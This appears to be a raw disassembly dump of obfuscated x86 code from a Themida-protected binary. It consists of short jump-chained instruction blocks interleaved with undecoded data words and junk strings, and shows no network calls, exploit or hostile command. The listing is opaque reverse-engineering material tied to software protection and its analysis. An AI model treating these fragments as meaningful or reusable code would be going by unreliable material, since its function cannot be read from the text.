dd 0DCBA52E3h, 4A3D1B08h, 9B3F281h, 0C2810975h, 10591B13h
dd 64C8CA81h, 0F28112CFh, 56CF7CFFh, 148BD301h, 4C48124h
dd 83000000h, 1C8702EBh, 89665C24h, 53662414h, 88BAB151h
dd 0E95059CFh, 0FFFFFF59h, 0B1EBE95Ch, 8B59FFFFh, 0C481242Ch
dd 4, 2C281h, 14870000h, 24248B24h, 24048B66h, 50FE68h
dd 24148900h, 3341E954h, 895C0000h, 148B2434h, 4C48324h
dd 148BD789h, 0E9545724h, 0FFFFA01Bh
; ---------------------------------------------------------------------------
loc_54D66C: ; CODE XREF: Themida_:0054BC95j
mov ecx, [esp]
push 7D5Bh
mov [esp], edi
mov edi, esp
push ebx
mov ebx, 13013B24h
shl ebx, 2
xor ebx, 0B0D75F0h
add ebx, 0B8F666A4h
add edi, ebx
pop ebx
push eax
mov eax, 4
jmp loc_54B01E
; ---------------------------------------------------------------------------
dd 9549F581h, 0EA898901h, 83242C8Bh, 8EE904C4h, 31000028h
dd 0E99C2404h, 0FFFF8B52h, 9D1C77FFh, 14D35966h, 43E99C24h
db 8Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D6C7: ; CODE XREF: Themida_:0054A62Aj
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
xor eax, ebp
xor ebp, eax
jmp loc_54F193
; ---------------------------------------------------------------------------
loc_54D6DB: ; CODE XREF: Themida_:005488B8j
pop cx
or dl, ah
pop eax
jmp loc_552249
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 0E9000000h, 0FFFFAB27h
; ---------------------------------------------------------------------------
loc_54D6F0: ; CODE XREF: Themida_:005478B5j
push ecx
jmp loc_547908
; ---------------------------------------------------------------------------
loc_54D6F6: ; CODE XREF: Themida_:00546D75j
sub ch, 0C4h
not ch
jmp loc_54CA43
; ---------------------------------------------------------------------------
dd 93E9E389h, 0ADFFFF8Ch, 0FFA851E9h, 0E907B2FFh, 0FFFFF190h
dd 8D48E9ADh, 0DDF7FFFFh, 8B39E94Dh, 0D800FFFFh, 0FFBD7CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D729: ; CODE XREF: Themida_:0055107Bj
add edi, esi
sub edi, 24A52BC1h
jmp loc_551B2F
; ---------------------------------------------------------------------------
dw 0F005h
dd 0C11D767Eh, 1A3503E8h, 8953BE02h, 0AA6CE9C5h, 8153FFFFh
dd 4ECh, 24148900h, 314FE9h
db 0
; ---------------------------------------------------------------------------
loc_54D759: ; CODE XREF: Themida_:0054A87Cj
add ebp, 4
xchg ebp, [esp]
jmp loc_548571
; ---------------------------------------------------------------------------
dd 0D3F7DD87h, 0C581DD87h, 9A8BE205h, 0FFBEEAE9h, 74FF53FFh
dd 8F5B0424h, 1E92404h, 0BFFFFFD6h, 2CCE2C3Eh, 1EF834Fh
dd 0D337E947h, 8758FFFFh, 248B243Ch, 9FB4E924h, 0C381FFFFh
dd 529A4A77h, 400AC381h, 0A4E916B7h
db 26h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D7AF: ; CODE XREF: Themida_:00550F3Cj
sub ebx, 51C15F77h
add ebx, eax
add ebx, 51C15F77h
jmp loc_552257
; ---------------------------------------------------------------------------
dw 48Dh
aZhdd db '‡hdd',0
align 2
dw 489h
dd 8A38E924h, 0C781FFFFh, 73E82282h, 0FFCE65E9h, 405FFh
dd 4870000h, 0C6815C24h, 4, 1738E9h, 72D4BD00h, 5045197Bh
dd 0B4576B8h, 42D72D30h, 0E9485726h, 0FFFFB240h, 0C681E689h
dd 4, 4C681h, 34870000h, 0C4835C24h, 29C38104h, 8136A06Eh
dd 0D62C79EBh, 51C30136h, 40BD5552h, 0F7712129h, 97CD81D5h
dd 81029835h, 333005C5h, 0E5E5813Bh, 8130CB2Ah, 5869CDCDh
dd 0B4F58156h, 89608C47h, 0D1895DEAh, 59CB015Ah, 10576850h
dd 0C890000h, 4931B924h, 91E90D70h, 89FFFFD8h, 89502414h
dd 0A902E9E0h, 481FFFFh, 3A09CE24h, 0E9815952h, 523A09CEh
dd 0E924348Bh, 0FFFF9AFFh, 3CBAh, 75656800h, 3C890000h
dd 0AF9E924h, 4050000h, 87000000h, 0E95C2404h, 0FFFFC89Dh
dd 24048B66h, 4C9968h, 24348900h, 0C681E689h, 4, 22FEE9h
db 0
; ---------------------------------------------------------------------------
loc_54D8C9: ; CODE XREF: Themida_:0054776Fj
xchg ecx, [esp]
pop esp
sub [edi+24h], eax
jmp loc_548D37
; ---------------------------------------------------------------------------
loc_54D8D5: ; CODE XREF: Themida_:005518E4j
push dword ptr [esp]
pop eax
sub esp, 4
jmp loc_5494B6
; ---------------------------------------------------------------------------
loc_54D8E1: ; CODE XREF: Themida_:00548A3Aj
add ecx, ebx
pop ebx
xchg ecx, [esp]
jmp loc_550E94
; ---------------------------------------------------------------------------
loc_54D8EC: ; CODE XREF: Themida_:0054A1E0j
sub edx, 518E0384h
add edx, 56F3D28h
pop edi
add edx, 4
xchg edx, [esp]
pop esp
or edx, eax
shl edx, 1
sub esp, 4
mov [esp], ebp
push 1
pop ebp
jmp loc_54F01B
; ---------------------------------------------------------------------------
db 33h, 3Ch, 24h
dd 0C8B665Ch, 4EC8324h, 54240489h, 0FFF199E9h, 2434FFFFh
dd 4C4835Ah, 0FFF2F5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D935: ; CODE XREF: Themida_:0054A251j
pop edi
add ebx, 0F0300805h
jmp loc_547E6A
; ---------------------------------------------------------------------------
db 0BEh, 9Eh, 7
dd 74014795h, 348B0424h, 4C48324h, 0E924048Bh, 15Bh, 0C7EC381h
dd 5756594Ch, 0FFFE1EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D965: ; CODE XREF: Themida_:0055290Cj
shl ebx, 4
xor ebx, 0FBC8C264h
add ebp, ebx
pop ebx
jmp loc_551F7E
; ---------------------------------------------------------------------------
dw 489h
dd 442B824h, 0EEE97FCDh, 52FFFFA8h, 101C6CBAh, 58E40533h
dd 1AE91146h
db 21h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D993: ; CODE XREF: Themida_:0054E5E7j
mov ecx, 5BCC4388h
or edi, ecx
mov ecx, [esp]
add esp, 4
xor edi, 48102D82h
mov edx, edi
pop edi
jmp loc_54D0C7
; ---------------------------------------------------------------------------
loc_54D9B1: ; CODE XREF: Themida_:00550A0Dj
mov esp, [esp]
mov [esp], esi
push eax
jmp loc_54BF68
; ---------------------------------------------------------------------------
db 50h, 0B8h, 13h
dd 4038A51Bh, 25D0F748h, 4962245Bh, 244D3540h, 0C7014142h
dd 0FFA040E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D9D9: ; CODE XREF: Themida_:00550A50j
push 213h
mov [esp], ebp
mov ebp, 4B83478Fh
add eax, ebp
push dword ptr [esp]
pop ebp
add esp, 4
push dword ptr [edi+eax*4]
push dword ptr [esp]
pop eax
push 3072h
mov [esp], esi
push esp
pop esi
push edx
mov edx, 4
add esi, edx
pop edx
add esi, 4
jmp loc_5509AC
; ---------------------------------------------------------------------------
db 81h
dd 30289CC6h, 38BB536Dh, 21221744h, 52E95BDEh, 81000039h
dd 94349BEBh, 0DFE38100h, 0F7624F6Ch, 0E26CE9D3h, 0E828FFFFh
dd 2EC8159h, 66000000h, 68241C89h, 72BBh, 0E9240489h, 0FFFFCEA2h
dd 4BA5259h, 29000000h, 34335AD6h, 24343124h, 8B243433h
dd 14892424h, 0D07AE924h, 0E281FFFFh, 5E5B399Dh, 39FFF281h
dd 0EAC109DFh, 0EDE28103h, 81461047h, 114A14CAh, 0E7BF5700h
dd 1FFEEB4h, 0D1895FFAh, 27CCE95Ah, 0C4830000h, 0B35304h
dd 0C061CB80h, 6EE902E3h, 81000022h, 4C4h, 5685200h, 8900002Fh
dd 88B9240Ch, 0C117EC5Bh, 0FE908E1h
db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DACF: ; CODE XREF: Themida_:0054CF5Dj
xor bl, al
push 0AF3h
mov [esp], eax
jmp loc_552545
; ---------------------------------------------------------------------------
dw 0D468h
dd 89000011h, 0E389241Ch, 4C381h, 0EC830000h, 24048904h
dd 0FBA5253h, 0E903CA3Bh, 0FFFFC491h, 0E9D8015Fh, 0FFFF9566h
dd 24048155h, 3FFE1C14h, 14EB815Bh, 0E93FFE1Ch, 0FFFF8F2Fh
dd 7970C281h, 0E95E3F13h, 3693h, 81240C89h, 3DC62434h
dd 575A45D9h, 0FFAE90E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54DB39: ; CODE XREF: Themida_:0054E43Aj
push ebx
jmp loc_549957
; ---------------------------------------------------------------------------
loc_54DB3F: ; CODE XREF: Themida_:0054AFF1j
xor esi, 73DB144Dh
jmp loc_5498C7
; ---------------------------------------------------------------------------
dw 8956h
dd 4C681E6h, 83000000h, 348704C6h, 1C335C24h, 241C3124h
dd 8B241C33h, 0EE92424h, 5400001Dh, 0FFF78FE9h, 3DA3BFFFh
dd 814F3CE2h, 814BB2E7h, 97AAE95Ch, 0C481FFFFh, 4, 75EA80h
dd 90E95AD3h, 81FFFFA3h, 4C3h, 0C9BAE900h, 0EBD1FFFFh
dd 0E6EB8143h, 3133F46Bh, 0B1CAE9DDh, 18B8FFFFh, 0F75F9A50h
dd 375FE9D8h, 814F0000h, 0AACD4BEFh, 5FFD290Eh, 930E9h
dd 0B5E95F00h
db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DBCF: ; CODE XREF: Themida_:00551EE0j
xchg ebx, [esp]
jmp loc_54DFD9
; ---------------------------------------------------------------------------
loc_54DBD7: ; CODE XREF: Themida_:00546F74j
push edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
add edx, 3E4666E1h
mov esi, [esp]
add esp, 4
and ecx, edx
mov edx, [esp]
add esp, 4
shr ecx, 0Bh
push ebp
mov ebp, esp
push eax
jmp loc_546B29
; ---------------------------------------------------------------------------
dd 655BF681h, 0CE816DD1h, 30A86FAFh, 6502F681h, 8CE9368Dh
dd 5B00000Ah, 5C2E981h, 7DE962D7h, 5800002Ah, 0E9FFEE80h
dd 0FFFF95F1h, 7EA815Bh, 297FDE2Fh, 7C281C2h, 837FDE2Fh
dd 0C8904ECh, 0A9BE5624h, 0C16D474Bh, 0D7E902E6h
db 17h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54DC5B: ; CODE XREF: Themida_:00552025j
push esi
mov esi, 100465DEh
jmp loc_5487D1
; ---------------------------------------------------------------------------
aUtHC db 'UT]hÝC',0
align 2
dw 0C89h
dd 0B9515224h, 6BE47A6Bh, 0B959CA89h, 1F286F95h, 68h, 24048100h
dd 6AFD50BDh, 81240C29h, 50BD242Ch, 0E0E96AFDh, 0FF00000Fh
dd 42E92434h, 0B8FFFF91h, 753BCDDAh, 2958C129h, 0BD5559C8h
dd 44E52980h, 1355BF2Dh, 5E80164h, 641355BFh, 0FFD811E9h
dd 242C81FFh, 52500F21h, 0FFCEBEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54DCD1: ; CODE XREF: Themida_:00549008j
xor edx, edi
xor edi, edx
jmp loc_55210F
; ---------------------------------------------------------------------------
loc_54DCDA: ; CODE XREF: Themida_:00552312j
add esp, 4
add esp, 4
shr eax, 0Ch
xor eax, ecx
jmp loc_5472AE
; ---------------------------------------------------------------------------
dd 30EDB850h, 0C2290355h, 93C28158h, 0E92E4944h, 228Dh
dd 55241C89h, 0FFB9D5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54DD0D: ; CODE XREF: Themida_:0054C11Aj
jmp loc_54CBA3
; ---------------------------------------------------------------------------
dw 0C101h
dd 6DC8BB53h, 0EB817FB4h, 336C6B03h, 465C181h, 0D9011CCFh
dd 465E981h, 585B1CCFh, 2C181h, 0D8E90000h, 0C100001Fh
dd 19E903E6h
db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DD43: ; CODE XREF: Themida_:00550E15j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_5478E5
; ---------------------------------------------------------------------------
dd 2858C600h, 24148BF0h, 0E904C483h, 0FFFFED44h, 2414335Eh
dd 33241431h, 0FF5C2414h, 34FF2434h, 0D804E924h, 34FFFFFFh
dd 83535824h, 248904ECh, 24048124h, 4, 0E9241C8Bh, 0FFFFB3C0h
dd 8124048Bh, 4C4h, 653E6800h, 4890000h, 5E08924h, 4, 0E904E883h
dd 0FFFF8C8Eh, 84C6815Bh, 0E977941Eh, 0FFFFC009h, 0C680D6F6h
dd 0E8C680AFh, 0FFCF7DE9h, 8438E9FFh, 4BBFFFFh, 81000000h
dd 8D49BEEEh, 81DE014Eh, 8D49BEC6h, 0EC815B4Eh, 4, 0BB241C89h
dd 2, 35CABD55h, 31E957A7h, 81FFFFCEh, 7FE9B9F2h, 5AD189B6h
dd 0E902E9C1h, 0FFFFE5FAh
; ---------------------------------------------------------------------------
loc_54DE10: ; CODE XREF: Themida_:005477F2j
xchg ebp, [esp]
jmp loc_54C654
; ---------------------------------------------------------------------------
dd 240C8B66h, 4EC81h, 1C890000h, 3885E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54DE2A: ; CODE XREF: Themida_:0054E26Fj
dec esi
dec esi
shr esi, 6
jmp loc_54F738
; ---------------------------------------------------------------------------
dd 8B24048Fh, 4312424h, 83C8E924h, 0EB81FFFFh, 6223E54h
dd 0C381CB01h, 6223E54h, 0FF5B0303h, 0C8B2434h, 4C48124h
dd 50000000h, 0CAE9E089h, 81FFFF9Ch, 0FBB863C7h, 0F1C1811Ch
dd 14A6A1Dh, 0F1E981F9h, 0E94A6A1Dh, 0FFFFBFA0h, 240C3166h
dd 240C3366h, 240C3166h, 66D93166h, 3166CB31h, 6D6866D9h
dd 1C896623h, 14F76624h, 665B6624h, 662F2768h, 66240C89h
dd 0B1B3E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DEB2: ; CODE XREF: Themida_:00547CE2j
push 76ACh
mov [esp], ecx
push edx
mov dl, 86h
mov cl, dl
jmp loc_5485C6
; ---------------------------------------------------------------------------
loc_54DEC4: ; CODE XREF: Themida_:0054E97Cj
sub ebp, edx
pop edx
push ebp
not dword ptr [esp]
pop ebp
add ebp, 9603C964h
add ecx, ebp
mov ebp, [esp]
jmp loc_54A914
; ---------------------------------------------------------------------------
dd 6B6668h, 241C8900h, 241C8B54h, 3CC1E9h
db 0
; ---------------------------------------------------------------------------
loc_54DEED: ; CODE XREF: Themida_:00550468j
xor ebp, edx
xor edx, ebp
xor ebp, edx
sub esp, 4
mov [esp], edx
not dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_552141
; ---------------------------------------------------------------------------
dd offset dword_457444+55724h
dw 6800h
dd 7B5h, 0E9242489h, 0FFFFCCDFh, 0C0D8E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DF22: ; CODE XREF: Themida_:0054BCA5j
add esp, 4
and eax, ebx
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_548CCA
; ---------------------------------------------------------------------------
db 83h
dd 0EB2904C4h, 5D2434FFh, 4C481h, 0C3010000h, 8904EC83h
dd 0EDE92414h, 29000026h, 6C212DF8h, 3FE94224h, 83000032h
dd 1C8704EBh, 24248B24h, 0E9240C89h, 0FFFFE72Dh, 50243C8Bh
dd 3CE95854h
db 98h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DF7F: ; CODE XREF: Themida_:0054695Dj
xor ebx, eax
pop eax
sub ecx, ebx
pop ebx
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_5468A6
; ---------------------------------------------------------------------------
loc_54DF99: ; CODE XREF: Themida_:00550428j
jmp loc_54620A
; ---------------------------------------------------------------------------
dw 48Bh
dd 4C48324h, 0FFAC9BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54DFA9: ; CODE XREF: Themida_:0054EA86j
not ebp
inc ebp
inc ebp
or ebp, 5785F98h
jmp loc_550FC9
; ---------------------------------------------------------------------------
loc_54DFB8: ; CODE XREF: Themida_:0054F2A8j
mov esi, 62341570h
jmp loc_5522B6
; ---------------------------------------------------------------------------
dw 2168h
dd 8900003Eh, 9068240Ch, 8900002Fh, 90B42404h, 0FFDFCEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54DFD9: ; CODE XREF: Themida_:0054DBD2j
pop esp
jmp loc_54E128
; ---------------------------------------------------------------------------
db 0BAh
dd 68262CAh, 0F281D2F7h, 9BA89F0Eh, 0E95AD389h, 0FFFFE52Eh
; ---------------------------------------------------------------------------
loc_54DFF4: ; CODE XREF: Themida_:00548841j
pop ecx
push edx
push ecx
push eax
jmp loc_552650
; ---------------------------------------------------------------------------
aXaas_8 db 'Xaé_8',0
dd 1306BA00h, 0D7897E87h, 8950E95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E012: ; CODE XREF: Themida_:00546B3Ej
mov edx, 4
jmp loc_551FC9
; ---------------------------------------------------------------------------
dd 0E9241CF7h, 0FFFFBD4Ch, 2CA66866h, 24048966h, 0FF81D9E9h
dd 0F3EA81FFh, 31DBDD8Ah, 0F4CAE9D0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E03E: ; CODE XREF: Themida_:0054CD6Bj
add esp, 4
pop ebp
loc_54E045: ; CODE XREF: Themida_:00550681j
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ecx
add ecx, 4
push edx
jmp loc_546EBE
; ---------------------------------------------------------------------------
loc_54E075: ; CODE XREF: Themida_:0054A42Dj
add bl, al
pop ax
jmp loc_54E110
; ---------------------------------------------------------------------------
dw 14F7h
dd 24148B24h, 4C481h, 54E90000h
db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E08F: ; CODE XREF: Themida_:0054FC19j
push dword ptr [esp]
pop edx
push esi
mov esi, esp
jmp loc_54EAA1
; ---------------------------------------------------------------------------
db 88h
dd 25AE9D3h, 8B660000h, 0EC812404h, 4, 54240489h, 8DAFE958h
dd 0EC83FFFFh, 243C8904h, 0BE565F54h, 142A003Eh, 0FFC29AE9h
dd 86B151FFh, 30B4B652h, 0C8285AF1h, 0E9240C8Bh, 0FFFFA819h
; ---------------------------------------------------------------------------
loc_54E0DC: ; CODE XREF: Themida_:0054E589j
add bl, 0D1h
mov ah, bl
pop ebx
neg ah
shr ah, 5
and ah, 85h
xor ah, 97h
add ah, 77h
add cl, ah
jmp loc_548CB8
; ---------------------------------------------------------------------------
db 5Ah
dd 80CDB652h, 0BDE93FEEh, 0FEFFFFFCh, 72EC80C4h, 0E97CC480h
dd 0E9Ch
; ---------------------------------------------------------------------------
loc_54E110: ; CODE XREF: Themida_:0054E079j
push ecx
jmp loc_5527A6
; ---------------------------------------------------------------------------
dw 4B05h
dd 13E5729h, 294B2DD8h, 0E9563E57h, 0FFFFF03Eh
; ---------------------------------------------------------------------------
loc_54E128: ; CODE XREF: Themida_:0054DFDAj
or edx, eax
shl edx, 1
sub esp, 4
mov [esp], esi
mov esi, 41D47AA2h
jmp loc_55085A
; ---------------------------------------------------------------------------
loc_54E13C: ; CODE XREF: Themida_:0054FC81j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
jmp loc_54915F
; ---------------------------------------------------------------------------
db 0C7h, 42h, 30h
dd 6DC53604h, 30BB53h, 0D3010000h, 0FFC559E9h, 507BB3FFh
dd 0D8F6B9B0h, 0B424AE2Ch, 0C2282404h, 0F17E9h, 24048700h
dd 24048F5Ch, 2434FF5Ch, 8324048Bh, 815604C4h, 4ECh, 24248900h
dd 4240481h, 0E9000000h, 40C3h, 3FFAE951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E1A2: ; CODE XREF: Themida_:0054D3FFj
xor cl, 2
sub al, cl
pop ecx
push edx
push 3A14h
mov [esp], ebx
mov bh, 0EDh
xor bh, 85h
mov dl, bh
jmp loc_546643
; ---------------------------------------------------------------------------
db 52h, 0BAh, 0F2h
dd 5611BF37h, 40C812BEh, 5EF789EEh, 0FF8BE7E9h, 0C3166FFh
dd 0C336624h, 0C316624h, 3CEBE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E1E2: ; CODE XREF: Themida_:005515EDj
push 7C52h
mov [esp], ebx
sub esp, 4
mov [esp], ebp
mov ebp, 51317744h
push 7DB6h
mov [esp], eax
mov eax, 51317B44h
mov ebx, eax
mov eax, [esp]
jmp loc_549882
; ---------------------------------------------------------------------------
dd 0F3E9555Ah, 29FFFFC2h, 348B5DE9h, 4C48124h, 87000000h
dd 7E9240Ch, 8100003Fh, 4C4h, 0D7F74F00h, 0FF8FC1E9h, 4EC81FFh
dd 0E9000000h, 0FFFFFAC4h
; ---------------------------------------------------------------------------
loc_54E240: ; CODE XREF: Themida_:0054E2D8j
and ecx, 40D5EF6h
xor ecx, 0DD8BE3Bh
jmp loc_54C90D
; ---------------------------------------------------------------------------
db 1, 0D0h, 5
dd 5E297007h, 2404875Ah, 0FF9444E9h, 0C1015FFFh, 240C8758h
dd 275E95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E26E: ; CODE XREF: Themida_:0054A593j
pop ecx
jmp loc_54DE2A
; ---------------------------------------------------------------------------
dd 5A2434FFh, 0FDE95456h, 68000035h, 5149h, 89243C89h
dd 0BB5350E7h, 322D5E63h, 255BD889h, 1F210198h, 1FB9BE56h
dd 0F009008Eh, 4C55055Eh, 0E8C100D2h, 0BAE95205h, 66FFFF95h
dd 83241C8Bh, 0F28002C4h, 28EB2C5Ah, 0FC5AE9D0h, 0F801FFFFh
dd 0FF958DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E2C9: ; CODE XREF: Themida_:0054A2A9j
sub ebp, 89563D5Bh
sub ecx, ebp
mov ebp, [esp]
add esp, 4
dec ecx
jmp loc_54E240
; ---------------------------------------------------------------------------
db 83h, 0C5h, 1
dd 4D03EDC1h, 0C581DDF7h, 245D651Bh, 0DC3E9h
db 0
; ---------------------------------------------------------------------------
loc_54E2F1: ; CODE XREF: Themida_:005466FFj
or eax, 2B27729Fh
dec eax
jmp loc_54EF63
; ---------------------------------------------------------------------------
dd 0D988CA88h, 81241C8Bh, 4C4h, 0D446E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E30E: ; CODE XREF: Themida_:0054C1E0j
mov ebx, 50B850B7h
or ebx, 244F2A7Eh
jmp loc_54F46F
; ---------------------------------------------------------------------------
dw 8B66h
dd 0CF68240Ch, 0E9000036h, 3A0Ah
; ---------------------------------------------------------------------------
loc_54E32C: ; CODE XREF: Themida_:00547069j
pop ebx
add dl, 0FFh
sub dl, 0D1h
add al, dl
pop edx
jmp loc_5491C7
; ---------------------------------------------------------------------------
db 66h
dd 66743B68h, 0E9240C89h, 0FFFF7EC2h, 6FEA815Fh, 0E94A7044h
dd 0FFFF7EB6h
; ---------------------------------------------------------------------------
loc_54E354: ; CODE XREF: Themida_:00550CA4j
shl ecx, 8
sub ecx, 0FFFFFFFFh
push ebx
mov ebx, 8AC0A60Fh
xor ecx, ebx
jmp loc_54F3D8
; ---------------------------------------------------------------------------
loc_54E367: ; CODE XREF: Themida_:00548B61j
or ebp, 7BC22857h
jmp loc_547258
; ---------------------------------------------------------------------------
dw 248Bh
dd 0C896624h, 0B60F6624h, 9C5166C8h, 0FF7E85E9h, 0BDE947FFh
db 12h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E38B: ; CODE XREF: Themida_:0054F778j
push edi
mov edi, 4B365FE8h
push edi
not dword ptr [esp]
pop edi
jmp loc_549450
; ---------------------------------------------------------------------------
db 0BFh
dd 6FC48D4h, 2704EA81h, 0FA015DD8h, 0BCEEE956h, 83ADFFFFh
dd 3FE904ECh, 0FFFFFFAEh, 34FF2434h, 0AE95924h, 0ADFFFF9Fh
dd 8904EC83h, 6852240Ch, 7DE51663h, 0C2814A5Ah, 50C902F0h
dd 0E904E2C1h, 0FFFFFA1Fh, 0C381CB01h, 4539460Dh, 241C8759h
dd 8324248Bh, 148904ECh, 0E9E28924h, 0FFFFA4C9h
; ---------------------------------------------------------------------------
loc_54E3FC: ; CODE XREF: Themida_:00551B5Fj
push 1FADh
mov [esp], ecx
push 1
jmp loc_54A522
; ---------------------------------------------------------------------------
dw 4BDh
dd 1000000h, 22E95DE8h
db 2, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E41B: ; CODE XREF: Themida_:00551483j
add dh, 0B5h
xor dh, 4Ah
add bl, dh
pop edx
jmp loc_54B62E
; ---------------------------------------------------------------------------
loc_54E429: ; CODE XREF: Themida_:0054D5CAj
sub edx, esi
add edx, 3A9912F9h
pop esi
mov eax, edx
mov edx, [esp]
push ecx
mov ecx, esp
jmp loc_54DB39
; ---------------------------------------------------------------------------
loc_54E43F: ; CODE XREF: Themida_:0054916Bj
push ebp
mov ebp, 2A945A32h
and ebp, 225824E5h
sub ebp, 0CB30B874h
xor edx, ebp
pop ebp
or edx, 19D5734Ah
and edx, 1C866BCh
jmp loc_546B94
; ---------------------------------------------------------------------------
db 5Ch, 89h, 1Ch
dd 2434FF24h, 4C4815Eh, 0E9000000h, 0FFFF98DFh, 0EAC0D9B2h
dd 1DE95204h, 0F6000037h, 0E99C241Ch, 0FFFF7D7Eh
; ---------------------------------------------------------------------------
loc_54E48C: ; CODE XREF: Themida_:00547B12j
mov dl, cl
push ebx
mov ebx, 0
add ebx, eax
mov [ebx], dl
pop ebx
pop edx
pop ecx
jmp loc_54620A
; ---------------------------------------------------------------------------
dd 24048F54h, 4240483h, 13FE9h
db 0
; ---------------------------------------------------------------------------
loc_54E4AD: ; CODE XREF: Themida_:005476AFj
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
jmp loc_54B8EC
; ---------------------------------------------------------------------------
db 81h
dd 4C7h, 243C8700h, 214E95Ch, 348B0000h, 4C48124h, 68000000h
dd 4478h, 89243C89h, 0EE952E7h, 81FFFFE7h, 4C1h, 27E7E900h
dd 0EB810000h, 628C2E91h, 0FFE557E9h, 0FF5E55FFh, 35E92434h
dd 0BAFFFF8Fh, 69D132E6h, 32E2EA81h, 0D00169D1h, 4EC835Ah
dd 53243C89h, 0FFC1CAE9h, 4EC83FFh, 0BF243C89h, 0A5A1810Ch
dd 5686C181h, 0E9E95B97h, 89FFFF7Dh, 77E92404h, 68FFFFB0h
dd 655Eh, 50242C89h, 2597E9h, 30D56800h, 1C890000h, 13146824h
dd 14890000h, 4EC8124h, 89000000h, 34FF2404h, 24148B24h
dd 0C452E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E56E: ; CODE XREF: Themida_:0054EC5Ej
push esi
mov esi, 4
add edx, esi
pop esi
xchg edx, [esp]
jmp loc_54ACC1
; ---------------------------------------------------------------------------
loc_54E57F: ; CODE XREF: Themida_:00551102j
mov bl, 9Bh
neg bl
shr bl, 2
sub bl, 0C9h
jmp loc_54E0DC
; ---------------------------------------------------------------------------
dw 77E9h
db 7Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E593: ; CODE XREF: Themida_:0054CF4Dj
push 6E651712h
jmp loc_54E7F5
; ---------------------------------------------------------------------------
loc_54E59D: ; CODE XREF: Themida_:0054882Dj
add esp, 4
jmp loc_5485DF
; ---------------------------------------------------------------------------
dd 0C1815954h, 4, 4C181h, 0C870000h, 0D1E95C24h, 3Ch, 0D7E959CBh
dd 0C1FFFFF9h, 0D0F708E0h, 5234DA0Dh, 9D750536h, 6CE9DEA5h
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54E5DB: ; CODE XREF: Themida_:00548ED3j
mov esp, [esp]
mov [esp], edi
mov edi, 584010CBh
push ecx
jmp loc_54D993
; ---------------------------------------------------------------------------
dd 0E3E9515Eh, 0ACFFFFE7h, 47B753h, 241C8BF8h, 5E08950h
dd 4, 405h, 24048700h, 47A2C5Ch, 0EE4CE997h, 0C601FFFFh
dd 6B43C681h, 42E97F9Ch, 0FFFFFFC6h, 589D1C77h, 9C240411h
dd 0FF7BD9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54E631: ; CODE XREF: Themida_:0054673Ej
pop ecx
sub ebx, 67CC47ABh
jmp loc_54C5DE
; ---------------------------------------------------------------------------
db 5, 4, 0
dd 4870000h, 0EA815C24h, 4473219Eh, 0FFDD6BE9h, 0C8B66FFh
dd 2D446824h, 3C890000h, 81E78924h, 4ECh, 242C8900h, 4BDh
dd 17C78100h, 14A3F6Eh, 274CE9EFh, 9A680000h, 8900003Fh
dd 74FF2404h, 4EE90424h
db 9Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E68B: ; CODE XREF: Themida_:0054A917j
add edi, ecx
mov ecx, [esp]
add esp, 4
mov edx, edi
pop edi
loc_54E699: ; CODE XREF: Themida_:0054CF1Bj
; Themida_:00550169j
push 135Ch
jmp loc_550095
; ---------------------------------------------------------------------------
db 5Bh
dd 4B9B6855h, 0A0E923E6h, 2900000Eh, 0E8295EF0h, 640AED05h
dd 4BE95D49h
db 7Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E6BF: ; CODE XREF: Themida_:0054ED0Ej
xor esi, 2DDC6658h
push esi
pop ebx
pop esi
push edx
mov edx, 0FFFFFFFFh
sub ebx, edx
pop edx
not ebx
jmp loc_546C0B
; ---------------------------------------------------------------------------
